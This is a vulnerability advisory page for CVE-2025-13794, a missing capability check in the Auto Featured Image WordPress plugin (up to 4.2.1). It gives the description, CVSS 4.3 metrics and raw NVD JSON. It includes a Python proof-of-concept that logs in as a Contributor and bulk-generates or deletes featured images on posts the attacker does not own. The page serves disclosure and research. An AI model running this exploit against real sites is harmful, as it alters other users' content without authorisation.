Security Vulnerability Report
中文
CVE-2025-13794 CVSS 4.3 MEDIUM

CVE-2025-13794

Published: 2025-12-16 06:15:42
Last Modified: 2026-04-15 00:35:42

Description

The Auto Featured Image (Auto Post Thumbnail) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the bulk_action_generate_handler function in all versions up to, and including, 4.2.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete or generate featured images on posts they do not own.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Auto Featured Image (Auto Post Thumbnail) <= 4.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # WordPress target URL target_url = "https://vulnerable-site.com/wp-admin/admin-post.php" # Attacker credentials (Contributor role) username = "attacker" password = "attacker_password" # Target post IDs to manipulate (posts not owned by attacker) target_post_ids = [101, 102, 103] session = requests.Session() # Login to WordPress login_url = "https://vulnerable-site.com/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Exploit: Generate featured images for other users' posts for post_id in target_post_ids: exploit_data = { "action": "bulk_action_generate", "post_ids[]": post_id } response = session.post(target_url, data=exploit_data) print(f"Exploited post ID: {post_id}, Status: {response.status_code}") # Alternative: Delete featured images for post_id in target_post_ids: exploit_data = { "action": "bulk_action_delete", "post_ids[]": post_id } response = session.post(target_url, data=exploit_data) print(f"Deleted thumbnail for post ID: {post_id}, Status: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13794", "sourceIdentifier": "[email protected]", "published": "2025-12-16T06:15:42.407", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Auto Featured Image (Auto Post Thumbnail) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the bulk_action_generate_handler function in all versions up to, and including, 4.2.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete or generate featured images on posts they do not own."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/auto-post-thumbnail/tags/4.2.1/includes/class-plugin.php#L425", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-13794/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/29b0fd97-a669-42bb-b01e-bdc0395d697e?source=cve", "source": "[email protected]"}]}}